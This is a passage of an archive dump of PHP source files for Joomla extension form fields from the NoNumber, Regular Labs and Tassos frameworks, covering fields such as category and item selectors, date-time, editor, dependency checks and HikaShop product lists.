alert-success'; } else if ($this->value === 2) { $class .= ' alert-error'; } $html[] = '<div class="' . $class . '">'; $user = JFactory::getApplication()->getIdentity() ?: JFactory::getUser(); if ($showclose && $user->authorise('core.admin')) { $html[] = '<button type="button" class="close" aria-label="Close">×</button>'; } $html[] = '<div class="control-group">'; $html[] = '<div class="control-label">'; $html[] = '<label><h4>' . $label . '</h4></label>'; $html[] = '</div>'; $html[] = '<div class="controls">'; $html[] = '<fieldset id="' . $this->id . '" class="radio btn-group">'; $onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this, 0)"'; $html[] = '<input type="radio" id="' . $this->id . '0" name="' . $this->name . '" value="0"' . (( ! $this->value) ? ' checked="checked"' : '') . $onclick . '>'; $html[] = '<label class="rl_btn-ignore" for="' . $this->id . '0">' . JText::_('RL_IGNORE') . '</label>'; $onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this, 1)"'; $html[] = '<input type="radio" id="' . $this->id . '1" name="' . $this->name . '" value="1"' . (($this->value === 1) ? ' checked="checked"' : '') . $onclick . '>'; $html[] = '<label class="rl_btn-include" for="' . $this->id . '1">' . JText::_('RL_INCLUDE') . '</label>'; $onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this, 2)"'; $onclick .= ' onload="RegularLabsForm.setToggleTitleClass(this, ' . $this->value . ', 7)"'; $html[] = '<input type="radio" id="' . $this->id . '2" name="' . $this->name . '" value="2"' . (($this->value === 2) ? ' checked="checked"' : '') . $onclick . '>'; $html[] = '<label class="rl_btn-exclude" for="' . $this->id . '2">' . JText::_('RL_EXCLUDE') . '</label>'; $html[] = '</fieldset>'; $html[] = '</div>'; $html[] = '</div>'; $html[] = '<div class="clearfix"> </div>'; $html[] = $this->openShowOn($param_name . ':1,2'); $html[] = '<div><div>'; return '</div>' . implode('', $html); } protected function getLabel() { return ''; } protected function openShowOn($condition = '') { if ( ! $condition) { return $this->closeShowon(); } $formControl = $this->get('form', $this->formControl); $formControl = $formControl == 'root' ? '' : $formControl; if ($this->group) { $formControl .= '[' . $this->group . ']'; } return RL_ShowOn::open($condition, $formControl); } } content.php 0000644 00000004132 15232574454 0006742 0 ustar 00 <?php /** * @author Tassos Marinos <info@tassos.gr> * @link https://www.tassos.gr * @copyright Copyright © 2024 Tassos All Rights Reserved * @license GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; require_once dirname(__DIR__) . '/helpers/groupfield.php'; class JFormFieldNR_Content extends NRFormGroupField { public $type = 'Content'; public function getCategories() { $extension = isset($this->element['extension']) ? (string) $this->element['extension'] : 'com_content'; $query = $this->db->getQuery(true) ->select('COUNT(c.id)') ->from('#__categories AS c') ->where('c.extension = ' . $this->db->quote($extension)) ->where('c.parent_id > 0') ->where('c.published > -1'); $this->db->setQuery($query); $total = $this->db->loadResult(); $options = array(); if ($this->get('show_ignore')) { if (in_array('-1', $this->value)) { $this->value = array('-1'); } $options[] = HTMLHelper::_('select.option', '-1', '- ' . Text::_('NR_IGNORE') . ' -', 'value', 'text', 0); $options[] = HTMLHelper::_('select.option', '-', ' ', 'value', 'text', 1); } $query->clear('select') ->select('c.id, c.title as name, c.level, c.published, c.language') ->order('c.lft'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); $options = array_merge($options, $this->getOptionsByList($list, array('language'), -1)); return $options; } public function getItems() { $query = $this->db->getQuery(true) ->select('COUNT(i.id)') ->from('#__content AS i') ->where('i.access > -1'); $this->db->setQuery($query); $total = $this->db->loadResult(); $query->clear('select') ->select('i.id, i.title as name, i.language, c.title as cat, i.access as published') ->join('LEFT', '#__categories AS c ON c.id = i.catid') ->order('i.title, i.ordering, i.id'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); return $this->getOptionsByList($list, array('language', 'cat', 'id')); } } customfieldkey.php 0000644 00000003050 15232574455 0010316 0 ustar 00 <?php /** * Element: Custom Field Key * Displays a custom key field (use in combination with customfieldvalue) * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; class JFormFieldNN_CustomFieldKey extends JFormField { public $type = 'CustomFieldKey'; private $params = null; protected function getLabel() { $this->params = $this->element->attributes(); $label = ($this->get('label') ? $this->get('label') : ''); $size = ($this->get('size') ? 'style="width:' . $this->get('size') . 'px"' : ''); $class = ($this->get('class') ? 'class="' . $this->get('class') . '"' : 'class="text_area"'); $this->value = htmlspecialchars(html_entity_decode($this->value, ENT_QUOTES), ENT_QUOTES); $html = '<input type="text" name="' . $this->name . '" id="' . $this->id . '" value="' . $this->value . '" placeholder="' . JText::_($label) . '" title="' . JText::_($label) . '" ' . $class . ' ' . $size . ' />'; $html = '<label for="' . $this->id . '" style="margin-top: -5px;">' . $html . '</label>'; return $html; } protected function getInput() { return '<div style="display:none;"><div><div>'; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } customfieldvalue.php 0000644 00000002652 15232574455 0010651 0 ustar 00 <?php /** * Element: Custom Field Value * Displays a custom key field (use in combination with customfieldkey) * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; class JFormFieldNN_CustomFieldValue extends JFormField { public $type = 'CustomFieldValue'; private $params = null; protected function getLabel() { return ''; } protected function getInput() { $this->params = $this->element->attributes(); $label = ($this->get('label') ? $this->get('label') : ''); $size = ($this->get('size') ? 'style="width:' . $this->get('size') . 'px"' : ''); $class = ($this->get('class') ? 'class="' . $this->get('class') . '"' : 'class="text_area"'); $this->value = htmlspecialchars(html_entity_decode($this->value, ENT_QUOTES), ENT_QUOTES); return '</div></div></div><input type="text" name="' . $this->name . '" id="' . $this->id . '" value="' . $this->value . '" placeholder="' . JText::_($label) . '" title="' . JText::_($label) . '" ' . $class . ' ' . $size . ' />'; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } datetime.php 0000644 00000002570 15232574455 0007071 0 ustar 00 <?php /** * Element: DateTime * Element to display the date and time * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; class JFormFieldNN_DateTime extends JFormField { public $type = 'DateTime'; private $params = null; protected function getLabel() { return ''; } protected function getInput() { $this->params = $this->element->attributes(); $label = $this->get('label'); $format = $this->get('format'); $date = JFactory::getDate(); $tz = new DateTimeZone(JFactory::getApplication()->getCfg('offset')); $date->setTimeZone($tz); if ($format) { if (strpos($format, '%') !== false) { require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; $format = nnText::dateToDateFormat($format); } $html = $date->format($format, 1); } else { $html = $date->format('', 1); } if ($label) { $html = JText::sprintf($label, $html); } return '</div><div>' . $html; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } dependency.php 0000644 00000005527 15232574455 0007420 0 ustar 00 <?php /** * Element: Dependency * Displays an error if given file is not found * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; jimport('joomla.form.formfield'); class JFormFieldNN_Dependency extends JFormField { public $type = 'Dependency'; private $params = null; protected function getLabel() { return ''; } protected function getInput() { $this->params = $this->element->attributes(); JHtml::_('jquery.framework'); JFactory::getDocument()->addScriptVersion(JURI::root(true) . '/media/nnframework/js/script.min.js'); $file = $this->get('file'); if (!$file) { $path = ($this->get('path') == 'site') ? '' : '/administrator'; $label = $this->get('label'); $file = $this->get('alias', $label); $file = preg_replace('#[^a-z-]#', '', strtolower($file)); $extension = $this->get('extension'); switch ($extension) { case 'com'; $file = $path . '/components/com_' . $file . '/com_' . $file . '.xml'; break; case 'mod'; $file = $path . '/modules/mod_' . $file . '/mod_' . $file . '.xml'; break; case 'plg_editors-xtd'; $file = '/plugins/editors-xtd/' . $file . '.xml'; break; default: $file = '/plugins/system/' . $file . '.xml'; break; } $label = JText::_($label) . ' (' . JText::_('NN_' . strtoupper($extension)) . ')'; } else { $label = $this->get('label', 'the main extension'); } nnFieldDependency::setMessage($file, $label); return ''; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } class nnFieldDependency { static function setMessage($file, $name) { jimport('joomla.filesystem.file'); $file = str_replace('\\', '/', $file); if (strpos($file, '/administrator') === 0) { $file = str_replace('/administrator', JPATH_ADMINISTRATOR, $file); } else { $file = JPATH_SITE . '/' . $file; } $file = str_replace('//', '/', $file); $file_alt = preg_replace('#(com|mod)_([a-z-_]+\.)#', '\2', $file); if (!JFile::exists($file) && !JFile::exists($file_alt)) { $msg = JText::sprintf('NN_THIS_EXTENSION_NEEDS_THE_MAIN_EXTENSION_TO_FUNCTION', JText::_($name)); $message_set = 0; $messageQueue = JFactory::getApplication()->getMessageQueue(); foreach ($messageQueue as $queue_message) { if ($queue_message['type'] == 'error' && $queue_message['message'] == $msg) { $message_set = 1; break; } } if (!$message_set) { JFactory::getApplication()->enqueueMessage($msg, 'error'); } } } } easyblog.php 0000644 00000004657 15232574455 0007112 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ use RegularLabs\Library\FieldGroup; defined('_JEXEC') or die; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_EasyBlog extends FieldGroup { public $type = 'EasyBlog'; public function getCategories() { $query = $this->db->getQuery(true) ->select('COUNT(*)') ->from('#__easyblog_category AS c') ->where('c.published > -1'); $this->db->setQuery($query); $total = $this->db->loadResult(); if ($total > $this->max_list_count) { return -1; } $query->clear('select') ->select('c.id, c.parent_id, c.title, c.published') ->order('c.ordering, c.title'); $this->db->setQuery($query); $items = $this->db->loadObjectList(); return $this->getOptionsTreeByList($items); } public function getItems() { $query = $this->db->getQuery(true) ->select('i.id, i.title as name, c.title as cat, i.published') ->from('#__easyblog_post AS i') ->join('LEFT', '#__easyblog_category AS c ON c.id = i.category_id') ->where('i.published > -1') ->order('i.title, c.title, i.id'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); return $this->getOptionsByList($list, ['cat', 'id']); } public function getTags() { $query = $this->db->getQuery(true) ->select('t.alias as id, t.title as name') ->from('#__easyblog_tag AS t') ->where('t.published > -1') ->where('t.title != ' . $this->db->quote('')) ->group('t.title') ->order('t.title'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); return $this->getOptionsByList($list); } protected function getInput() { $error = $this->missingFilesOrTables(['categories' => 'category', 'items' => 'post', 'tags' => 'tag']); return $error ?: $this->getSelectList(); } } editor.php 0000644 00000002176 15232574455 0006565 0 ustar 00 <?php /** * Element: Editor * Displays an HTML editor text field * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; class JFormFieldNN_Editor extends JFormField { public $type = 'Editor'; private $params = null; protected function getLabel() { return ''; } protected function getInput() { $this->params = $this->element->attributes(); $width = $this->get('width', '100%'); $height = $this->get('height', 400); $this->value = htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8'); // Get an editor object. $editor = JFactory::getEditor(); $html = $editor->display($this->name, $this->value, $width, $height, true, $this->id); return '</div><div>' . $html; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } field.php 0000644 00000003625 15232574455 0006362 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\HTML\HTMLHelper as JHtml; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\Field; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_Field extends Field { public $type = 'Field'; public function getFields() { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('DISTINCT a.id, a.name, a.type, a.title') ->from('#__fields AS a') ->where('a.state = 1') ->order('a.name'); $db->setQuery($query); $fields = $db->loadObjectList(); $options = []; $options[] = JHtml::_('select.option', '', '- ' . JText::_('RL_SELECT_FIELD') . ' -'); foreach ($fields as &$field) { // Skip our own subfields type. We won't have subfields in subfields. if ($field->type == 'subfields' || $field->type == 'repeatable') { continue; } $options[] = JHtml::_('select.option', $field->name, ($field->title . ' (' . $field->type . ')')); } if ($this->get('show_custom')) { $options[] = JHtml::_('select.option', 'custom', '- ' . JText::_('RL_CUSTOM') . ' -'); } return $options; } protected function getInput() { $options = $this->getFields(); return $this->selectListSimple($options, $this->name, $this->value, $this->id); } } filelist.php 0000644 00000004532 15232574455 0007110 0 ustar 00 <?php /** * Element: Filelist * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); JFormHelper::loadFieldClass('list'); class JFormFieldNN_FileList extends JFormFieldList { public $type = 'FileList'; private $params = null; protected function getInput() { $this->params = $this->element->attributes(); return parent::getInput(); } protected function getOptions() { $options = array(); $path = $this->get('folder'); if (!is_dir($path)) { $path = JPATH_ROOT . '/' . $path; } // Prepend some default options based on field attributes. if (!$this->get('hidenone', 0)) { $options[] = JHtml::_('select.option', '-1', JText::alt('JOPTION_DO_NOT_USE', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname))); } if (!$this->get('hidedefault', 0)) { $options[] = JHtml::_('select.option', '', JText::alt('JOPTION_USE_DEFAULT', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname))); } // Get a list of files in the search path with the given filter. $files = JFolder::files($path, $this->get('filter')); // Build the options list from the list of files. if (is_array($files)) { foreach ($files as $file) { // Check to see if the file is in the exclude mask. if ($this->get('exclude')) { if (preg_match(chr(1) . $this->get('exclude') . chr(1), $file)) { continue; } } // If the extension is to be stripped, do it. if ($this->get('stripext', 1)) { $file = JFile::stripExt($file); } $label = $file; if ($this->get('language_prefix')) { $label = JText::_($this->get('language_prefix') . strtoupper($label)); } $options[] = JHtml::_('select.option', $file, $label); } } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } flexicontent.php 0000644 00000005576 15232574455 0010010 0 ustar 00 <?php /** * Element: FlexiContent * Displays a multiselectbox of available Flexicontent Tags / Types * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/functions.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_FlexiContent extends JFormField { public $type = 'FlexiContent'; private $params = null; private $db = null; protected function getInput() { if (!nnFrameworkFunctions::extensionInstalled('flexicontent')) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_FILES_NOT_FOUND', JText::_('NN_FLEXICONTENT')) . '</fieldset>'; } $this->params = $this->element->attributes(); $this->db = JFactory::getDBO(); $group = $this->get('group', 'categories'); $tables = $this->db->getTableList(); if (!in_array($this->db->getPrefix() . 'flexicontent_' . $group, $tables)) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_TABLE_NOT_FOUND', JText::_('NN_FLEXICONTENT')) . '</fieldset>'; } if (!is_array($this->value)) { $this->value = explode(',', $this->value); } $options = $this->{'get' . $group}(); $size = (int) $this->get('size'); $multiple = $this->get('multiple'); require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; switch ($group) { case 'categories': return nnHtml::selectlist($options, $this->name, $this->value, $this->id, $size, $multiple); default: return nnHtml::selectlistsimple($options, $this->name, $this->value, $this->id, $size, $multiple); } } function getTags() { $query = $this->db->getQuery(true) ->select('t.name as id, t.name') ->from('#__flexicontent_tags AS t') ->where('t.published = 1') ->order('t.name'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); return $this->getOptions($list); } function getTypes() { $query = $this->db->getQuery(true) ->select('t.id, t.name') ->from('#__flexicontent_types AS t') ->where('t.published = 1') ->order('t.name, t.id'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); return $this->getOptions($list); } function getOptions($list) { // assemble items to the array $options = array(); foreach ($list as $item) { $options[] = JHtml::_('select.option', $item->id, $item->name, 'value', 'text', 0); } return $options; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } form2content.php 0000644 00000002332 15232574455 0007711 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ use RegularLabs\Library\FieldGroup; defined('_JEXEC') or die; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_Form2Content extends FieldGroup { public $default_group = 'Projects'; public $type = 'Form2Content'; public function getProjects() { $query = $this->db->getQuery(true) ->select('t.id, t.title as name') ->from('#__f2c_project AS t') ->where('t.published = 1') ->order('t.title, t.id'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); return $this->getOptionsByList($list); } protected function getInput() { $error = $this->missingFilesOrTables(['projects' => 'project'], '', 'f2c'); return $error ?: $this->getSelectList(); } } geo.php 0000644 00000003026 15232574455 0006044 0 ustar 00 <?php /** * @author Tassos Marinos <info@tassos.gr> * @link https://www.tassos.gr * @copyright Copyright © 2024 Tassos All Rights Reserved * @license GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later */ defined('_JEXEC') or die('Restricted access'); use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; require_once JPATH_PLUGINS . '/system/nrframework/helpers/fieldlist.php'; class JFormFieldNR_Geo extends NRFormFieldList { private $list; protected function getInput() { if ($this->get('detect_visitor_country', false) && empty($this->value) && $countryCode = \NRFramework\Helpers\Geo::getVisitorCountryCode()) { $this->value = $countryCode; } return parent::getInput(); } protected function getOptions() { switch ($this->get('geo')) { case 'continents': $this->list = \NRFramework\Continents::getContinentsList(); $selectLabel = 'NR_SELECT_CONTINENT'; break; default: $this->list = \NRFramework\Countries::getCountriesList(); $selectLabel = 'NR_SELECT_COUNTRY'; break; } if ($this->get('use_label_as_value', false)) { $this->list = array_combine($this->list, $this->list); } $options = array(); if ($this->get("showselect", 'true') === 'true') { $options[] = HTMLHelper::_('select.option', "", "- " . Text::_($selectLabel) . " -"); } foreach ($this->list as $key => $value) { $options[] = HTMLHelper::_('select.option', $key, $value); } return array_merge(parent::getOptions(), $options); } } grouplevel.php 0000644 00000003604 15232574455 0007460 0 ustar 00 <?php /** * Element: Group Level * Displays a select box of backend group levels * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_GroupLevel extends JFormField { public $type = 'GroupLevel'; private $params = null; private $db = null; protected function getInput() { $this->params = $this->element->attributes(); $this->db = JFactory::getDBO(); $size = (int) $this->get('size'); $multiple = $this->get('multiple'); $show_all = $this->get('show_all'); $attribs = 'class="inputbox"'; $options = $this->getUserGroups(); if ($show_all) { $option = new stdClass; $option->value = -1; $option->text = '- ' . JText::_('JALL') . ' -'; $option->disable = ''; array_unshift($options, $option); } require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; return nnHtml::selectlist($options, $this->name, $this->value, $this->id, $size, $multiple, $attribs); } protected function getUserGroups() { // Get the user groups from the database. $query = $this->db->getQuery(true) ->select('a.id as value, a.title as text, a.parent_id AS parent') ->from('#__usergroups AS a') ->select('COUNT(DISTINCT b.id) AS level') ->join('LEFT', '#__usergroups AS b ON a.lft > b.lft AND a.rgt < b.rgt') ->group('a.id') ->order('a.lft ASC'); $this->db->setQuery($query); return $this->db->loadObjectList(); } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } header.php 0000644 00000006401 15232574455 0006522 0 ustar 00 <?php /** * Element: Header * Displays a title with a bunch of extras, like: description, image, versioncheck * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_Header extends JFormField { public $type = 'Header'; private $params = null; protected function getLabel() { return ''; } protected function getInput() { $this->params = $this->element->attributes(); JHtml::stylesheet('nnframework/style.min.css', false, true); $title = $this->get('label'); $description = $this->get('description'); $xml = $this->get('xml'); $url = $this->get('url'); if ($description) { // variables $v1 = $this->get('var1'); $v2 = $this->get('var2'); $v3 = $this->get('var3'); $v4 = $this->get('var4'); $v5 = $this->get('var5'); $description = nnText::html_entity_decoder(trim(JText::sprintf($description, $v1, $v2, $v3, $v4, $v5))); } if ($title) { $title = JText::_($title); } if ($description) { $description = str_replace('span style="font-family:monospace;"', 'span class="nn_code"', $description); if ($description['0'] != '<') { $description = '<p>' . $description . '</p>'; } } if (!$xml && $this->form->getValue('element')) { if ($this->form->getValue('folder')) { $xml = 'plugins/' . $this->form->getValue('folder') . '/' . $this->form->getValue('element') . '/' . $this->form->getValue('element') . '.xml'; } else { $xml = 'administrator/modules/' . $this->form->getValue('element') . '/' . $this->form->getValue('element') . '.xml'; } } if ($xml) { $xml = JApplicationHelper::parseXMLInstallFile(JPATH_SITE . '/' . $xml); $version = 0; if ($xml && isset($xml['version'])) { $version = $xml['version']; } if ($version) { if (strpos($version, 'PRO') !== false) { $version = str_replace('PRO', '', $version); $version .= ' <small style="color:green">[PRO]</small>'; } else if (strpos($version, 'FREE') !== false) { $version = str_replace('FREE', '', $version); $version .= ' <small style="color:green">[FREE]</small>'; } if ($title) { $title .= ' v'; } else { $title = JText::_('Version') . ' '; } $title .= $version; } } $html = array(); if ($title) { if ($url) { $title = '<a href="' . $url . '" target="_blank" title="' . preg_replace('#<[^>]*>#', '', $title) . '">' . $title . '</a>'; } $html[] = '<h4>' . nnText::html_entity_decoder($title) . '</h4>'; } if ($description) { $html[] = $description; } if ($url) { $html[] = '<p><a href="' . $url . '" target="_blank" title="' . JText::_('NN_MORE_INFO') . '">' . JText::_('NN_MORE_INFO') . '...</a></p>'; } return '</div><div>' . implode('', $html); } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } header_library.php 0000644 00000003637 15232574455 0010256 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text as JText; require_once __DIR__ . '/header.php'; class JFormFieldRL_Header_Library extends JFormFieldRL_Header { protected function getInput() { $extensions = [ 'Add to Menu', 'Advanced Module Manager', 'Advanced Template Manager', 'Articles Anywhere', 'Articles Field', 'Better Preview', 'Better Trash', 'Cache Cleaner', 'CDN for Joomla!', 'Components Anywhere', 'Conditional Content', 'Content Templater', 'DB Replacer', 'Dummy Content', 'Email Protector', 'GeoIP', 'IP Login', 'Keyboard Shortcuts', 'Modals', 'Modules Anywhere', 'Quick Index', 'Regular Labs Extension Manager', 'ReReplacer', 'Simple User Notes', 'Sliders', 'Snippets', 'Sourcerer', 'Tabs', 'Tooltips', 'What? Nothing!', ]; $list = '<ul><li>' . implode('</li><li>', $extensions) . '</li></ul>'; $attributes = $this->element->attributes(); $warning = ''; if (isset($attributes['warning'])) { $warning = '<div class="alert alert-danger">' . JText::_($attributes['warning']) . '</div>'; } $this->element->attributes()['description'] = JText::sprintf($attributes['description'], $warning, $list); return parent::getInput(); } } hikashop.php 0000644 00000012264 15232574455 0007104 0 ustar 00 <?php /** * Element: HikaShop * Displays a multiselectbox of available HikaShop categories / products * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/functions.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/parameters.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_HikaShop extends JFormField { public $type = 'HikaShop'; private $params = null; private $db = null; private $max_list_count = 0; protected function getInput() { if (!nnFrameworkFunctions::extensionInstalled('hikashop')) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_FILES_NOT_FOUND', JText::_('NN_HIKASHOP')) . '</fieldset>'; } $this->params = $this->element->attributes(); $this->db = JFactory::getDBO(); $group = $this->get('group', 'categories'); $tables = $this->db->getTableList(); if (!in_array($this->db->getPrefix() . 'hikashop_' . ($group == 'products' ? 'product' : 'category'), $tables)) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_TABLE_NOT_FOUND', JText::_('NN_HIKASHOP')) . '</fieldset>'; } $parameters = nnParameters::getInstance(); $params = $parameters->getPluginParams('nnframework'); $this->max_list_count = $params->max_list_count; if (!is_array($this->value)) { $this->value = explode(',', $this->value); } $options = $this->{'get' . $group}(); $size = (int) $this->get('size'); $multiple = $this->get('multiple'); require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; switch ($group) { case 'categories': return nnHtml::selectlist($options, $this->name, $this->value, $this->id, $size, $multiple); default: return nnHtml::selectlistsimple($options, $this->name, $this->value, $this->id, $size, $multiple); } } function getCategories() { $query = $this->db->getQuery(true) ->select('COUNT(*)') ->from('#__hikashop_category AS c') ->where('c.category_published > -1'); $this->db->setQuery($query); $total = $this->db->loadResult(); if ($total > $this->max_list_count) { return -1; } $show_ignore = $this->get('show_ignore'); $query->clear() ->select('c.category_id') ->from('#__hikashop_category AS c') ->where('c.category_type = ' . $this->db->quote('root')); $this->db->setQuery($query); $root = $this->db->loadResult(); $query->clear() ->select('c.category_id as id, c.category_parent_id AS parent_id, c.category_name AS title, c.category_published as published') ->from('#__hikashop_category AS c') ->where('c.category_type = ' . $this->db->quote('product')) ->where('c.category_published > -1') ->order('c.category_ordering, c.category_name'); $this->db->setQuery($query); $items = $this->db->loadObjectList(); // establish the hierarchy of the menu // TODO: use node model $children = array(); // first pass - collect children foreach ($items as $v) { $pt = $v->parent_id; $list = @$children[$pt] ? $children[$pt] : array(); array_push($list, $v); $children[$pt] = $list; } // second pass - get an indent list of the items $list = JHtml::_('menu.treerecurse', (int) $root, '', array(), $children, 9999, 0, 0); // assemble items to the array $options = array(); if ($show_ignore) { if (in_array('-1', $this->value)) { $this->value = array('-1'); } $options[] = JHtml::_('select.option', '-1', '- ' . JText::_('NN_IGNORE') . ' -', 'value', 'text', 0); $options[] = JHtml::_('select.option', '-', ' ', 'value', 'text', 1); } foreach ($list as $item) { $item->treename = nnText::prepareSelectItem($item->treename, $item->published, '', 1); $options[] = JHtml::_('select.option', $item->id, $item->treename, 'value', 'text', 0); } return $options; } function getProducts() { $query = $this->db->getQuery(true) ->select('p.product_id as id, p.product_name AS name, c.category_name AS cat, p.product_published AS published') ->from('#__hikashop_product AS p') ->join('LEFT', '#__hikashop_product_category AS x ON x.product_id = p.product_id') ->join('LEFT', '#__hikashop_category AS c ON c.category_id = x.category_id') ->where('p.product_published > -1') ->order('p.product_name, p.product_id'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); // assemble items to the array $options = array(); foreach ($list as $item) { $item->name = $item->name . ' [' . $item->id . ']' . ($item->cat ? ' [' . $item->cat . ']' : ''); $item->name = 